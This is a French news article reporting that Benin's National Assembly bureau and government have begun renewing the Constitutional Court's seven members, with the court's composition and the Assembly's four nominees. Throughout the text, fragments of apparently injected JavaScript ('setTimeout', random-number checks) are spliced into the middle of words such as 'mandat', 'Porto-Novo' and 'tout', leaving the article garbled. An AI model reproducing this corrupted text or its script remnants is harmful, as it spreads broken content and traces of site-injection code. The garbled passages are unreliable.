Bénin : vers le renouvellement des membres de la Cour constitutionnelle
Le bureau de l’Assemblée nationale et le gouvernement du Bénin ont enclenché lundi le processus de renouvellement des sept membres de la cinquième mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andature de la Cour constitutionnelle du pays dont le mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andat de cinq ans expirera le 6 juin prochain, a appris Elitespress au palais des gouverneurs de Pordom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-Novo.
Selon les dispositions de la Constitution béninoise du 11 décembre 1990, “la Cour constitutionnelle est la plus haute juridiction de l’Etat en matière constitutionnelle. Elle est juge de la constitutionnalité de la loi et elle garantit les droits fondamentaux de la personne humaine et les libertés publiques. Elle est l’organe régulateur du fonctionnement des institutions et de l’activité des pouvoirs publics”.
La Cour est composée de sept membres dont quatre sont nommés par le bureau de l’Assemblée nationale et trois par le président de la République pour un mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andat de cinq ans renouvelable une seule fois.
Elle comprend également, trois magistrats ayant une expérience de quinze années au moins dont deux sont nommés par le bureau de l’Assemblée nationale et un par le président de la République ; deux juristes de haut niveau, professeurs ou praticiens du droit, ayant une expérience de quinze années au moins dont un est nommé par le bureau de l’Assemblée nationale et un par le président de la République et enfin deux personnalités de grdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande réputation professionnelle nommées l’une par le bureau de l’Assemblée nationale et l’autre par le président de la République.
A cet effet, le bureau du Parlement béninois a désigné ce même jour, ses quatre représentants qui siègeront à la prochaine mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andature de la haute juridiction béninoise.
Il s’agit de l’actuel ministre de la Justice, de la Législation et des Droits de l’Homme, Joseph Djogbénou et Amoudath Razaky, au titre des magistrats ayant une expérience de quinze années au moins ; Rigobert Azon, au titre de la personnalité de grdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andes réputations professionnelles et enfin Fassassy Moustapha, au titre du juriste de haut niveau, professeurs ou praticiens du droit.
Selon les mêmes dispositions de la loi fondamentale du Bénin, le président de la Cour constitutionnelle est élu par ses pairs et ce, parmi les magistrats et juristes membres de la Cour.
“Les fonctions de membres de la Cour constitutionnelle sont incompatibles avec la qualité de ministre de la république, l’exercice de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout mdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andat électif, de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout emploi public, civil ou militaire, et de dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute autre activité professionnelle”, stipulent les mêmes dispositions constitutionnelles du Bénin.
